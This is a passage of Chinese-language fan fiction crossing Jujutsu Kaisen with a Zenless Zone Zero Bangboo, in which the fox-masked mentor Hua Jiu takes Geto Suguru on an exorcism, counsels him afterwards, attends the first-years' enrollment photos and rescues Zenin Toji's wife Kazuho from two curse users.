花九明白她的意思,于是没什么情绪的给出了公事公办的回答。
辅助监督还想说什么,花九的手机屏幕亮了起来,她低头看了眼消息内容,是夏油杰发来的短信。
【我父母那边我已经做好思想工作了,所以想第一时间分享这个好消息给老师】
他说的是上咒术高专的事。
按理说花九是不赞成普通人从事这种高危又精神污染的工作的,因为咒术师从不存在毫无悔意的死亡,加上普通家庭出来的咒术师不像御三家经过了长期耳濡目染的训练和磨炼。
如果只是图工资高的话,考不上高专其实完全可以去高专门口烤面筋,毕竟你面筋烤得好也能赚钱,所以为什么不去烤面筋而是去当咒术师呢!!
但是……
想起这次要祓除的对象也是特级咒灵,花九动了动手指,给夏油杰发去了一个定位。
夏油杰实在太有天赋了!后来觉醒的术式更是bug的不能再bug,家人们有桂怎么玩啊!
接到消息的夏油杰正好在附近,闻讯很快就赶了过来。
花九准备从副驾驶座下车,手腕突然被人拉住,辅助监督小姐语气急促的叫住了她。
“等等?!王小姐……是准备带那个孩子进去吗?”
她很想说这样于理不合,可下一秒,清冷浓烈的柑橘香气侵袭过来,是花九俯身过来,往她手心里塞了颗糖。
“没关系,佐川小姐。”
她精确无比的叫出了这个仅有一面之缘的年轻女孩名字。
“出事的话我全责。”
对花九来说,如果能让夏油杰快速成长起来,吸取经验,也能减少日后独自出任务的危险度,风险越大机遇越大,她不是会溺爱孩子的类型。
离得好近,让人不由屏住呼吸,但看对方的表情又很坦然,似乎不觉得有什么不对,难道这是什么种族天赋吗?
佐川监督愣
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了愣,握紧了手里的糖,最后还是嘟囔着我只是来上班的我什么都不知道,然后扭开了头。
这就是要睁一只眼闭一只眼的意思了。
那个黑发少年正站在原地等她,他半长的黑发随意的散落到肩头,正在给家里人打电话,语气温柔。
“是的,我正在外面,和花九老师在一起……我知道了,我会早点回去,是的,那件事我已经考虑好了。”
说着,他看到了花九,于是挥了挥手,跟电话那头嘱咐了几句,然后挂断了通话。
“老师。”
“在跟家里人打电话吗?”
“是的,家里人已经同意我去高专上学了。”
夏油杰笑着跟花九分享这个消息,这两年他身高猛蹿,此时很自然地靠过来,让人不由感叹这两个人一下子就长得特别大只了。
见到她一个人下了车,夏油杰眼神闪烁了一下。
“他没跟着来吗?”
“我要去执行任务,没有带上他的必要啦,倒是你,等下进去要跟紧我哦。”
花九摇了摇头。
这句话似乎不知道哪里取悦到了面前的黑发少年,夏油杰脸上的笑容肉眼可见的更加愉悦了起来,他状似无意的主动贴近了花九,像只偷吃到蜂蜜的小狐狸。
“那老师可要保护好我。”
夏油杰抬起警戒线,让花九弯腰过去,学校和医院往往是死亡和负面情绪的聚集地,也是诅咒的高发地带,属于天生的温床,而面前怨气冲天的建筑很好的证明了这一点。
之前处理这种情况的次数挺多的,刚进入教学楼,夏油杰就看到花九停了下来,带着面具的狐狸少女抬起脸像小动物一样嗅了嗅。
下一秒,只听【beng】的一声,长着狐狸特有的长耳朵,外形酷似企鹅的金色布偶灵活而Q弹的转了个圈,权当出场动画,便勤勤恳恳的开始今天的工作。
那块代替眼睛的屏幕闪动了几下,最终成功定位了咒灵的地点,于是,顺利完成任务的喜悦让屏幕上亮起了两个爱心。
这是花九后面钻研出来的功能,作为家居型邦布,这个形态的她虽然一点攻击力都没有,但不管是检测咒力和导航方面都很实用,虽然维持的时间很短,但也够用了。
她跳上夏油杰的肩膀,小短手直接指向了另一条走廊,那里空无一人,在夕阳下静谧的有些诡异,并没有感受到咒灵的气息,但夏油杰向来很信任她,于是在她给出了明确的方向后,便向那里走了过去。
“嗯呢嗯呢!”
不许在导航的时候偷摸向导的耳朵!
夏油杰似乎听出了她的不满,这个端正清秀的少年有些遗憾的移开手,用指腹偷偷蹭了蹭手上邦布软乎乎的脸蛋。
“抱歉,只是想起了一些以前的事,果然,我从那时候开始就很想知道这耳朵的手感。”
这话就有些谜语人了,花九瞥了他一眼,觉得这孩子虽然有天赋归有天赋,但这种时候居然一点也不紧张戒备的态度是会被减分的。
想做咒术师,不够有警惕心怎么能行!孺子不可教也!
夏油杰似乎也意识到自己失言,他顿了顿,像是不经意间提起另一个话题,点了点她的侧脸。
“这里,他摸过吗?”
16.第 16 章
花九缓缓打出一个问号:“?”
悟少爷那种调皮的性格,就算是假装乱挥手实则是想打对方的脸也是很正常的行为吧,怎么会觉得她引以为傲的可爱脸蛋没被蹂躏过呢?
尽管她不理解夏油杰为什么要问这种问题,但做老师的总是对听话的学生格外偏爱,何况等他进高专,自己这个半吊子老师自然也就要退场了。
于是她诚实的点了点头。
“这样啊,总觉得有点在意呢。”夏油杰看上去似乎有点失望,说出了一句很耳熟的话。
花九:“……?”
这句话她是不是今天才在另一个人那里听过?
说话间,一人一邦布已经穿过了走廊,花九收敛心神,抬起脑袋看向了怨气更重的楼上,眼神严肃起来。
*
海野原隆正缩在讲台的缝隙里瑟瑟发抖。
虽然受困于狭窄的视角,让他看不到讲台下的情形,但他却能清晰的听到,有桌椅被推动的声音,然后是黏腻的,像是某种蜗牛爬行过的动静,正在寂静的教室里,时不时响起来。
每当那声音逼近的时候,鼻腔里就会扑进浓烈的焦臭味,像是人体组织被烧烂,已经沦为焦炭的肉发出滋滋滋的声音。
“海、野……?救救我,好疼啊。”
那个声音恍惚而空洞的在教室里回荡着,毫无情绪的重复着这句话。
海野原隆拼命捂紧嘴巴,唯恐自己发出一点动静就被对方注意到。
一开始,不是只有他一个人。
但是和他一起逃命的同学在上楼的时候崴到脚,没办法再行动,听到身后的声音和脚步宛如催命符一样正在步步逼近自己,海野原隆太害怕了,于是丢下他自己跑掉了。
那个男同学留给自己最后的回忆,不是临死前恶毒的诅咒,他从不害怕这些;也不是因为恐惧和被抛弃于是糊满泪水的、狰狞的脸。
而是声音,是他头也不回跑开了以后,身后那如影随形,仿佛永不止歇的咀嚼声。
……他被吃掉了。
怎么办?怎么办?!
这栋楼里现如今不出意外只剩下自己一个活物,而想要他命的咒灵还在教室里梭巡着,不知道是故意还是真的没有眼睛,至今还没有找到讲台上来。
在这样的绝境里,他第一个想起的是总被自己冷语相待但永远温柔的母亲。
母亲,对母亲肯定不会见死不救,她肯定能找来那些咒术师来救他,对,他肯定能获救,他没有理由不会被救出去,只要他躲得好好的……
鼻腔里的焦臭味突然浓烈了起来,讲台动了一下,是有什么东西跳了上来。
“海、野?”
视野突然变黑了,海野原隆愣了一下才意识到,不是天黑了,而是有什么把头垂了下来,倒吊在自己面前,挡去了全部的光,正仔细地、贪婪地打量着他。
“啊啊啊啊啊啊啊!”
极度的恐惧挤压着喉咙,让他发出了野兽濒死般的尖叫声,下一瞬,教室门被人粗暴的推开,视野里的头抬了回去,鼻腔里的焦臭味顿时淡了不少,他恢复了视力。
“……”
*
“跑掉了呢,那东西很灵活,拥有智慧但没有人性的东西就这点会很麻烦。”
花九从教室外走进来,面对夏油杰询问的视线摇了摇头。
她转而看向眼前这个正因为恐惧过度而神经质痉挛着身体的男生,事态紧急,也没有继续让他冷静的时间了。
“现在活着的人只剩你一个人了吗?”
像是听到什么关键词,男生瞬间抬起脸:“活着的人……对、对!现在活着的就只剩我一个人了,你们快救我出去!其他人都死干净了,带我出去我会让我妈妈报答你们!绝对不会叫你们吃亏!”
话音刚落,海野原隆就注意到面前的金发少女那探究的视线落到了自己脸上,虽然还是那副淡漠的样子,但对他的兴致明显低了下去。
“有没有人质我们等下会再确认。”
她似乎失去了继续与他交谈的欲望,而是转而看向另一个黑发男生。
“这次维持邦布形态的时间不够,那只咒灵跑掉了,不解决它的话以后会有更多隐患,难保没有更多咒灵被吸引过来。”
他们竟然不打算直接带他离开这个危险的地方?!
“等等!”听到这里的海野原隆连忙打断了她。
“那只咒灵真的很恐怖,说不定连你们也不是对手……我劝你们别急着去送死,赶紧离开这里,然后派更多人手过来再抓不是更稳妥吗?”
倒不是他不相信母亲的眼光,只是面前来支援的再怎么看只是两个高中生,面对这么危险的咒灵,不该找一些年纪更大的更有战斗经验的人来吗?
那个男的就算了,说白了,一个小姑娘能顶什么事?她高高在上的态度也让他觉得不快。
花九面色平淡的瞥了他一眼,反倒是他旁边的男生先开口了,语气很温和。
“我理解你的害怕,但是只要跟紧我们,关键时候不乱跑,我们会想办法把你带出去。”
这话听着就顺耳多了,海野原隆自动忽略了他的提醒,脸色缓和下来。
“我知道了,我会配合你们行动。”
虽然这不是夏油杰第一次与咒灵战斗,但关键时候态度听话的人质总是会更让人放心。
他神色认真的微微颔首。
*
等到海野原隆休息了一小会儿,三人离开了教室,然而走到拐角处的时候,花九突然冷不丁的停了下来。
“老师?”
夏油杰顺着她的视线看去,什么都没有看到。
“我刚刚看到那栋楼有个人影过去了,我需要去确认一下,兵分两路吧,你负责这栋楼,我去那里看看。”
可她刚刚明明说了不会分开行动……对上花九的视线,夏油杰顿了顿,最终还是没说什么,指郑重的点了点头。
就算花九不在,他也会努力保护好眼前需要帮助的弱者。
*
待到花九离开,夏油杰带着海野原隆继续往上走。
虽然这期间对方曾多次向他暗示希望他能尽早带自己离开学校,丢下花九和其他人不顾,夏油杰听在心里,蹙了蹙眉,但还是努力说服自己不要有情绪。
毕竟弱者就该被保护,如果人活在这个世界上必须有意义的话,夏油杰觉得这就是自己的意义,而且自己也能做得很好。
然而就是这片刻的出神,有恐怖的气息靠近,夏油杰迅速收敛心神,准备呼叫花九的同时自己先上去……
“啊啊啊啊啊啊滚开!都说了我没想杀了你!”
还有一只?!
耳边冷不丁的响起高昂的惨叫声,夏油杰一个晃神,下意识将海野原隆护到了自己身后,正想叮嘱他别乱跑,后背突然传来一股巨大的推力,夏油杰一个闪避不及,踉跄了一下。
……那个男生居然推了自己?
面前的咒灵无疑长得非常恐怖,它拥有类人的外表,却没有双腿,整个被折叠的下半身臃肿的堆积在那里,行动也靠爬行和手掌,被烧焦的烂肉中露出怨毒的血红色眼睛。
……正死死盯着海野原隆。
像是被兜头泼了盆冷水,胸腔里蠢蠢欲动的某些热血登时就被浇熄了。
为什么?
为什么要这么做?
既然已经是弱者了,为什么就连接受帮助时都做不到安分一点?
夏油杰的眼中闪过明显的阴霾。
推了他的罪魁祸首正拼命的往楼上逃去,夏油杰愣住原地,甚至没能第一时间反应过来发生了什么。
咒灵的反应更快,坍塌的声音伴随着对方的惨叫声响起,但夏油杰却依然僵硬在原地。
然后,他听到了铃铛声。
仿佛并不存在这个时空的声音,轻灵的在空间里扩散开来,一圈又一圈的荡起涟漪。
【叮——】
想要扑上来偷袭的咒灵身体被突然出现的花九一刀斩去半边,紫色的血液爆裂开来。
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时间仿佛被按下暂停键,花九的一举一动在自己看来变得异常清晰,她扬起的衣袖和长发,鎏金色眼眸里那一闪而过的、甚至可以称得上怜爱的情绪。
这么近的距离甚至能看到刀身上的伤痕,当楼上再度传来尖叫声时,花九敏捷的跃上栏杆,直冲着声源处去了。
海野原隆的双腿都被压在废墟下,鲜血淋漓的同时无法移动分毫,只能无助的看着想要玩弄猎物的咒灵步步逼近,绝望让他语无伦次的求饶。
“求求你,放过我,那场火灾我真不是故意把你留在里面的,我只是太害怕了,我……”
他的声音戛然而止,因为面前模样恐怖的咒灵只是歪了歪头,看着他,然后像掰玩具那样掰动自己已经毫无知觉的腿,血色的眼睛因为欣赏到他的丑态而高兴的眯了起来。
……直到咒灵被祓除,他也像是木头人一样回不过神来,整个人像是被抽取灵魂的空壳。
确认没有其他活人了,剩下的咒灵也被祓除干净了,花九和夏油杰把他带了出去,送上了辅助监督带来的担架,看到那个哭成泪人的美妇人跌跌撞撞扑了过去,两人不约而同的保持了沉默。
倒是花九先问他:“要去吃KFC吗?我听说最近也有联名哦。”
“……感觉老师哄我开心的方法从以前起就没变过呢。”
夏油杰语气无奈的吐槽道,但到底没有拒绝这个提议。
于是两人来到最近的店里,花九看出他心情不好,还体贴的给他点了份儿童套餐。
但夏油杰一直保持沉默。
这个温柔开朗的黑发少年在盯着桌子沉默了很久以后,久到花九觉得他能把桌子盯出一个洞然后钻进去当蘑菇的时候,夏油杰终于开口了,但语气很低落。
“我当时明明看到了。”
“嗯?”
“我当时明明可以救他的,我感觉到那里要塌了,如果我第一时间冲过去,他的腿就不会被压断了。”
他还记得当听到腿部神经压断了,即使做手术以后也不能再独立行走这个事实时,耳边清晰的传来那个妇人的哭喊。
想到这里,他微微垂下眼。
“可我鬼使神差的没有出手,我做错了吗?这样的我是不是和我坚持的意义背道而驰了?”
花九思索了一下,觉得这其实是个见仁见智的问题。
“你认为的意义,是无论何时何地都要保护弱小的人,把弱小的人放在首位吗?”
夏油杰没有反驳。
“可是在我看来,人并不需要意义也能活下去,你执着的想要一条路走到黑,强行把自己困在某个框架里,反而是在束缚自己。”
花九说到这里,轻轻叹了口气。
“在我看来,你已经做得足够好了,不要去压抑自己,情绪不是压抑就会消失的东西,如果某天突然有个人告诉你,你应该去拯救世界了,你该无条件保护所有人,那你做的应该是让他滚蛋,而不是思考怎么去保护所有人。”
“……”
那双狭长的丹凤眼微微睁大了,似是没想到会听到这样的答案,夏油杰露出了愕然的表情。
然而花九却没有给他更多时间来消化,她抬手看了眼时间,向面前的少年发起邀请。
“要一起去拳击馆吗?”
“拳击馆?”夏油杰有些不明白为什么话题会跳跃的这么快。
可能是他茫然的反应取悦了面前的少女,他看到对方殷红的唇瓣微微上扬,是抛开公式化漂亮笑容,看起来鲜活无比的表情,整个人瞬间生动了起来。
“是的,情绪要及时发泄出来,你现在感觉胸口闷闷的吧?吐出那口浊气就好了。”
毕竟把五条悟拉扯大的路上,对方可没少闯祸让她生气,这种时候如果不发泄出来的话,难保她不会做出半夜溜进他房间给猫猫剃光头之后扬长而去的事。
当然,没有做出这种事绝对不是因为五条悟有无下限。
……所以真的没有让无下限暂时失效的方法吗?
17.第 17 章
“可我记得老师你晚点好像要去开会……”
“烂橘子齐聚一堂时空气也会被污染的,不必理会。”
她兴致勃勃。
虽然有些啼笑皆非,但夏油杰确实感觉自己的内心确实奇异的平和了下来。
自那天开导了夏油杰之后,花九能明显感受到对方对自己的态度变得古怪了起来。
……不,与其说变得古怪,不如说像是释放天性了?
面对坏蛋的求饶,他一边笑眯眯的出手折磨,一边装傻充愣听不到对方的求饶,面对善良的人的道谢,他温和一笑,并不放在心上。
虽然夏油杰还是像以前那样温和有礼貌,但是他的内核明显变得更稳定了,是无所谓会不会被道谢的稳定。
花九很满意这一点,这意味着他入学高专可以比其他人少跑两趟心理咨询室。
几个月后,一个明朗的午后。
“这次一次性来了三个麻烦啊。”
见到此情此景,禅院甚尔颇为厌倦的叹了口气。
闻言,站在他身侧的花九瞥了他一眼:“我劝甚尔先生还是表现得高兴一点,起码别在喜笑颜开的夜蛾先生表露出来,他这两天还跟我说起你。”
看到自己栽培的好苗子入学,身为班主任但是已经快升职的夜蛾正道比谁都期待,还忍痛带他们去吃了据说很贵的一顿漂亮饭。
禅院甚尔当然知道那个人已经开心到喜怒形于色了,但他还真不知道他还私底下跟花九聊到了自己,闻言来了点兴趣:
“是跟你夸我实力强劲,能把手底下那些学生管教得服服帖帖么?”
“不,是说你教课的时候总是迟到早退,还不如学生好管。”
禅院甚尔:“?”
闻言,黑发男人嘲讽的冷笑一声:“我看他是嫉妒我家庭美满。”
花九:“……”你嘴巴好坏哦,明明也没少因为说错话被夜蛾先生揍。
确实,身为开校三人组中的一员,谁能想到当中最叛逆的那个最后会先坠入爱河。
“……倒是你。”禅院甚尔话锋一转,突然将话题引到了她身上。
“虽然一开始就知道你也是个怪胎,但从第一次见你到现在,你是真的一点也没长啊。”
初见时的花九看起来比他小几岁,现在八年过去了,禅院甚尔自己都长成了体魄强健的成年男性,而对方还是那副样子,往他旁边一站就跟他学生似的。
不知道再过十年,等五条那小鬼都奔着三十去了,她再往那个人身边一站,跟块毫无攻击力的榴莲千层小蛋糕似的。
这谁还能黏得起来?
想到这里,禅院甚尔就没忍住低笑了一声。
他心情很好的主动摸了摸花九的脑袋,像摸小妹妹的动作让花九面色古怪的看了他一眼,默默往旁边挪了两步避开了他的手。
不用猜也知道她现在脸上肯定是写满了“你是不是有什么大病”的嫌弃表情。
然而禅院甚尔还要故意招惹她。
“不打算结婚?不打算找对象?就打算一辈子守着五条家那个小鬼过活?”
闻言,花九用不知道哪里捡来的树枝在禅院甚尔和自己之间画了条线。
甚尔睨她:“什么意思?”
“意思是你没分寸感,越界了。”
禅院甚尔:“……”
他收回前面的话,这金毛狐狸就应该和五条家那个臭小鬼一起被人套麻袋毒打。
而另一边,三人正在辅助监督的催促下不情不愿的挤在一起拍入学照。
“凭什么老子这么强不是特级?”这是对着学生证一脸不满的五条悟。
“纯恶意,我以为你只会缠着老师撒娇呢,这个一级的判定不会也是让老师给你讨来的吧?”这是笑眯眯细心收好学生证的夏油杰。
“……虽然咒术高专在理论上对学生的管制相对宽松,但抽着烟拍入学照很难出好效果哦?”这是正在委婉劝说的辅助监督。
“啊,抱歉,那我晚点再抽。”
家入硝子从善如流的按灭烟头,将其扔进了垃圾桶。
被吸引注意力的五条悟和夏油杰同时看过去,然后一猫一狐超有默契的凑到一起开始嘀咕:
“呜哇,年纪轻轻就抽烟,超烂呢!”
“不会是不良吧~好害怕~”
“我是不是不良不知道,”棕发少女平静地看了他们一眼,并没有因此动怒。
“但你们肯定是人渣。”
看到学生不配合的辅助监督下意识将视线投向了花九。
家入硝子注意到她的窘迫,主动走进了镜头里,其余两人见此情况,也打打闹闹的挤了过来,于是咔嚓一声,三张年轻鲜活尚未蒙上阴霾的脸定格在合影里。
完成任务的辅助监督松了口气,正想离开的时候,就见黑发少年朝自己走了过来,脸上是温和的挑不出错处的笑容。
“你好,可以方便再帮我们拍一张吗?”
……
这边花九刚和夜蛾正道说了几句话,便看到夏油杰朝自己走了过来,她被他拉到了相机前时,还有点不明所以。
但夏油杰扣住了她的肩膀,微微俯下身,用温柔的语气笑着问她:“老师和我们一起合个影吧?”
她又不是需要拍入学照的学生,花九正想拒绝,黑发少年就抢先一步遗憾的叹气了。
“老师作为帮了我很多忙的大功臣,我想在这种对我来说有特殊的场合和老师合影一张,是我太贪心了吗?”
“……”拒绝的话还没出口,就被花九咽了回去,她迟疑了一下,最终还是同意了。
“……下不为例。”
另一边肩膀突然一重,是有人旁若无人从身后贴了过来,熟悉的甜品香气侵入鼻腔,是花九记得这是市中心一家甜品店的新品,果不其然,五条悟毫不掩饰不满的声音飘了过来,蹭到颈侧的银发弄得她痒痒的。
“花酱好过分啊,明明在家里都不让我亲近,这怪刘海凭什么可以靠你这么近?”
“我觉得说这话的时候你应该反思一下自己的行为有多烦人,花九姐姐不理你肯定是你的问题。”
家入硝子的声音也插了进来,短发少女站到他们旁边,语气冷静地吐槽道。
五条悟沉默了一下,花九暗道不好,果然,少年再开口时语气有些古怪:“你们怎么都认识她?”
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原本只是搂着的胳膊开始收紧,变成了锁喉,花九被他勒着,反手抓住了他的手臂,差点没忍住给他来一个过肩摔。
但这举动显然被少年误会,他微微低下头,抓住了花九的手指,凑到她耳边。
“喂~~花酱,跟我解释一下吧?除了他们你在外面还有谁?在五条家的麻烦事还不够多吗?让你还有闲心出去管别人?”
虽然说话语气很明显在撒娇,但话音有些沉,听在耳朵里莫名就多出了几分危险的味道。
“可惜对老师来说,我不是别人。”
夏油杰抓住五条悟的手,云淡风轻的微笑着。
五条悟一顿,也微笑起来:“你是想被老子打死倒吊在学校门口吗?”
“如果你能做到的话。”
就在气氛已经剑拔弩张到极点的时候,只听咔嚓一声,是禅院甚尔站在相机前,拍下了一张照片。
照片上,戴着狐狸面具的少女被三个人挤在中间,氛围看起来杀气重重又亲密无间。
“不用谢我,明天记得来教室报道。”
他嘲笑花九。
……
正常的走完了一些手续和流程后,花九陪三人去去市中心采购开学必备的物品。
高专的选址在乡下比较偏僻的地方,所以这次要尽量一次性采购齐生活用品,免得后面多跑几趟。
“所以,他们要吵到什么时候?”
家入硝子走在花九身边,随手从货架上拿起一副墨镜往自己脸上试戴,发现看不清以后遗憾的放了回去。
花九往购物篮里扔浴盐的时候往后面瞥了一眼,看到后面两个正在帮忙拎东西的工具人正全然不顾路人异样的眼光,正在一边跟小学鸡一样幼稚的吵架一边提东西,看上去都恨不得把对方提起来扔到马路上去。
“不必理会,我倒觉得他们以后说不定能成为好朋友。”
如果五条悟真的那么讨厌一个人,他是根本没有兴趣和你说话的,更何况吵架。
“可是就让他们这样跟着会很丢人,啊,姐姐你用的是这款香水吗?”
硝子指了指旁边那些人明里暗里投来的异样视线,像是注意到什么,她从货架上拿起一瓶柑橘香水的小样。
“不是这个,只要他们别把东西弄坏了就随便他们去吧,硝子你以后不要成为他们这样的人哦。”
花九正想伸手摸摸少女的脑袋,一旁走上来的路人小姐姐便羞涩的插入了进来,表示想和花九合影。
“啊,对,我是在cosplay,你说是哪部IP?是很冷门的动漫,网上基本很难找到资源,这个姿势可以吗?”
拍完照后,花九随口敷衍了几句,便把手机还给对方,一转头发现棕发少女还在原地等她,于是走回她身边,想了想,向她伸出手:
“要不要甩掉他们先回学校?”
果然,家入硝子眼睛亮了起来。
另一边,觉得自己占了上风的五条悟得意洋洋的向脸色不好看的夏油杰做了个鬼脸,正准备向花九要表扬的时候,一转头发现原本在前面的两个人不知道什么时候已经没影了。
“?”
什么时候走掉的?
18.第 18 章
禅院和穗觉得自己被跟踪了。
这几天下班路上总是能从人群里感受到奇怪的视线,但是当她看过去的时候,又会发现那里什么都没有。
起初她以为是自己疑心病,没休息好神经敏感的缘故,直到她在公司附近第二次看到了那个曾经和自己擦肩而过的怪人。
身为女性的直觉让她提高了警惕,但是鉴于后面几天都没有再看到那个身影,于是她也稍微放松了紧绷的神经,决定等下次对方如果再出现在自己附近,就跟丈夫说一下这件事。
丈夫是某宗教学校的体育老师,虽然不够温柔,但身形健壮,对她和孩子也很体贴,只要他在,她就能感觉到安全感。
然而很快,她就因为自己的行为后悔了。
那个一直跟踪她的人又出现了。
而且这一次情况似乎有些不一样,对方似乎失去了耐心,因为她能感受到那股视线离自己越来越近,哪怕在人群里,也如影随形的跟着她。
禅院和穗感到了强烈的不安。
“……那个女人呢?让你看着她,就一个普通人也能跟丢?一开始就随便找个角落杀了不就行了?”
“你说的简单,谁知道禅院甚尔有没有在这女人身上留后手?不过既然确实也确实拖得够久了,找到机会就动手吧。”
隐隐约约的对话声从巷子外传来。
禅院和穗捂着嘴躬身躲在拐角处,心脏几乎快要跳出胸腔,她听到了自家丈夫的名字。
怎么办?丈夫虽然性格招摇了些,但本质上是个好人,按理来说不会有仇家才对,这些人是传说中的危险分子吗?
她一边留神他们的动静,一边悄悄把手机亮度调到最低,开始给对方发短信。
然而就在这时,面前的矮墙突然掠下一个影子。
那个人似乎完全没有注意到禅院和穗,像只灵活的猫科动物,就连落地也没有发出一点声音,明显是个练家子,眼见着就要从她面前走过去,离开这条小巷。
即使知道对方只是经过,但是在看清她的长相的时候,禅院和穗还是没忍住倒吸一口凉气,被冷不丁闯入视线的面具吓了一跳,差点发出声音。
……面前的女孩子看起来只有十几岁的样子,恐怖的狐狸面具扣在巴掌大的小脸上,金发柔软的垂下,虽然被挡去一半五官,但依旧能看出她只是个年轻的小姑娘。
外面就是两个穷凶极恶的危险分子,万一这女孩出去遇到危险怎么办?
想到这里,禅院和穗下意识拉住了她的手腕,又担心自己出声会引来危险分子的注意力,她向着女孩拼命摇头,果然听见对方问她:
“有什么事吗?”
声音听起来清凌凌的,情绪很稳定,并没有因为被陌生人拉住而大喊大叫,她的视线顺理成章的从面前的巷口落到了禅院和穗的身上。
禅院和穗这才注意到她有双鎏金色的眼睛,冷静看人的时候有种非人之物的错觉,她小心的往巷子外张望了一眼,压低了声音跟她解释。
“外面有两个危险分子在徘徊,你最好等一会儿再……”出去。
她话还没说完,就见金发少女微微颔首。
“我知道了。”
她知道什么?
禅院和穗愣了一下,但她们这边的动静显然依旧引起了那两个危险分子的注意,外面突然没了声音,下一秒,两个人影堵在了巷子口,一个高瘦、一个矮胖。
见此情景,禅院和穗看面前仿佛完全没搞清楚情况的女孩准备上前,下意识把她拉到了自己身后,急促道:“你不是会翻墙吗?!快翻回去!”
金发少女头顶仿佛缓缓出现了一个问号:“?”
禅院和穗心说她看起来挺聪明的,估计也是被吓坏了,遇到危险不知道跑。
矮胖男人笑了:“真有意思,自己要死了还要拖累一个,你觉得你死了我们能让她跑掉?”
禅院和穗的心因为话语里这赤裸裸的恶意而猛地沉了下去。
“你先跑,如果可以的话请帮我报个警,不然要是我们两个都被留在这里,就真的求援无门了。”
虽然不知道那两个人为什么没有急着走进来,但禅院和穗抓住了这个机会,她对误闯进来的少女放柔声音:“别害怕,我会替你拖住他们。”
背后没有传来应答,禅院和穗正想对两个危险分子说点什么来拖延时间,突然听到后面叮的一声,似乎是铃铛响了一声的动静。
有什么温热的液体喷溅到自己身上,禅院和穗身体猛地颤抖了一下,下意识回过头,就听到她用冷淡的声音说道:
“虽然只是路过,不知道你们为什么要对普通人出手,但既然看到了,我也没法不管。”
什么意思?
禅院和穗转过头去看金发少女,才发现对方手上不知何时已经多出了一把太刀,径直从她身旁路过,提着刀径直走向两个男人的方向。
“转过去。”
这话是对禅院和穗说的。
禅院和穗有些不明所以,但还是下意识闭上了眼睛,她只听到铃铛叮叮当当的响了两声,然后是重物轰然倒地的声音,有什么重物被拖走。
她脑中不免出现了很多糟糕的画面,比如女孩双拳难敌四手,被那两个危险分子袭击,生命危在旦夕……
她忍不住睁开了眼睛,却只看到了自己担心的对象正站在巷子口,而刚才找麻烦的两个人不知所踪。
心里有块大石头放下了,但禅院和穗仍然没有放松警惕:“他们……”
“太刀是道具刀,没有开过刃,我收拾了他们一顿,他们逃跑了,下次应该不会来找你麻烦了。”
听出她话语的顾虑,少女言简意赅的解释道。
不可否认的,禅院和穗在听到这句话的时候下意识松了口气,但很快,她再次担忧起来。
虽然眼前女孩说没事,但那两个怀恨离去的歹徒怎么会就这么放过她们?万一他们转移目标,开始转而蹲点这个女孩怎么办?这是潜在的危险隐患。
她决定回去以后拜托家里那位和面前的女孩子认识一下,遇到危险也好帮忙。
想到这里,她试探性的开口了。
“那个,为了表达感谢,我可以请你吃饭吗?”
“如果是害怕他们卷土重来的话不用担心。”
对方显然没听懂她的意思,甚至开始反过来安慰她。
明明自己才是更容易被歹徒记恨的存在,却还在担心她的安危,名为感动的情绪涌上心头,禅院和穗往前跑了几步,不愿让她就这么离开。
“拜托了!我真的很害怕,能拜托你再送我一程吗?”
情急之下,她想到了这个理由。
闻言,对方的视线落在她惊魂未定的脸上,片刻后,终于点了点头。
……
“我的丈夫是个很温柔的人,虽然有些粗枝大叶,但会好好照顾孩子,还怕我会累主动承担了大部分家务,我很感谢能与他相遇。”
说到自己的婚姻情况,黑发女人露出有些不好意思的表情。
主动带孩子、承担大部分家务、性格还很温柔,花九由衷的赞叹道。
“那真的很棒了,感觉和这样的人结婚也会很幸福吧,和穗小姐让我也开始好奇对方是什么样的绝世好男人了。”
于是十分钟后,带着“究竟是多好的男人能让和穗小姐夸一路”的好奇,进入屋子的花九与正好从厨房出来,围着围裙手拿锅铲一副家庭主夫扮相的禅院甚尔对上了视线。
没想到他会出现在这个家的花九:“?”
同样没想到她会出现在这里的禅院甚尔:“?”
有一瞬间,她甚至以为自己走错了门。
两人面面相觑,禅院甚尔脸上的表情从随意到意外再到警惕,向来漫不经心的表情隐隐有了崩裂的趋势。
“你为什么在这里?”
“你为什么会出现在别人家里?”
两个人几乎同时开口了。
感觉自己被一道天雷劈中的花九下意识想往外走,却正好碰上走进来的禅院和穗,她连忙抓住对方的胳膊。
“和穗小姐姓什么?”
刚刚两人相谈甚欢,她这时候才想起来她还没问对方的姓氏。
只见对面留着利索短发,看起来阳光又温柔的黑发女性露出有些羞涩的表情,回答了她的问题。
“我姓禅院。”
“……”
这世界未免也太小了!!
*
片刻后,一道家常菜被黑发男人杀气腾腾的放到了桌上,清脆的一声。
“吃饭。”
被强行留下来吃饭的花九面无表情的抬起脸跟他对视,没有动作。
同样被强行留客的禅院甚尔同样用死鱼眼看着她,看到禅院和穗哼着歌走进房间,用手指敲了敲桌子,言简意赅。
“她说你救了她,解释。”
“……”
……
片刻后,得知来龙去脉的禅院甚尔表情缓和了一些,斜睨她。
“一天到晚就喜欢往各种没人的地方抄近路,你是老鼠吗?”
“?”如果不是我今天抄近路回家,能在那里遇到你老婆吗?
也许是花九控诉的眼神太明显,禅院甚尔突然笑了,大掌摸了摸她的脑袋。
“不过,谢了。”
虽然当时只是为了脱离禅院家才选择了暂时在高专当体术老师,后面也想过撂挑子不干,但这种想法在遇到和穗的时候变了。
因为和穗会眼睛亮亮的说她觉得老师教书育人是一件很酷的事情。
于是想辞职的想法一再搁置,再之后,孩子也出生了,禅院甚尔开始有意识的降低干脏活的频率,为了把老婆孩子藏得好一点,连花九和夜蛾正道都没告诉。
但终归会有疏漏的时候,和穗性格也很懂事,总是怕给他添麻烦,如果今天不是花九的话,恐怕她已经被复仇的诅咒师杀死了。
想到这里,他再次开口:“我欠你个人情。”
“下次想杀谁就找我。”
花九正想说话,就被楼上噔噔噔的脚步声吸引了注意力,果然下一秒,禅院和穗抱着一个发型和她酷似的炸毛小孩出来了。
“他叫惠,今年三岁了。”
花九当然知道这个孩子,只是这还是第一次见到。
见她好奇,禅院和穗爽快的把手里的孩子往她面前一送,大方的不得了:“是天赐恩惠的惠哦~
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要抱抱看吗?”
花九顿时倒吸一口凉气,向来冷静的表情也隐隐有了崩裂的趋势。
太可怕了,谁要抱叛逆朋友的孩子?她吗?认识几年的朋友突然生了个人已经很恐怖了,她只觉得哪哪都别扭,更别说上手抱了。
她拼命躲闪:“我手劲小,别摔着孩子。”
禅院和穗只是宽容的笑着:“没关系,男孩子就是摔摔打打就长大了,惠不是爱哭的性格。”
连性格都遗传他爹?!更不想抱了。
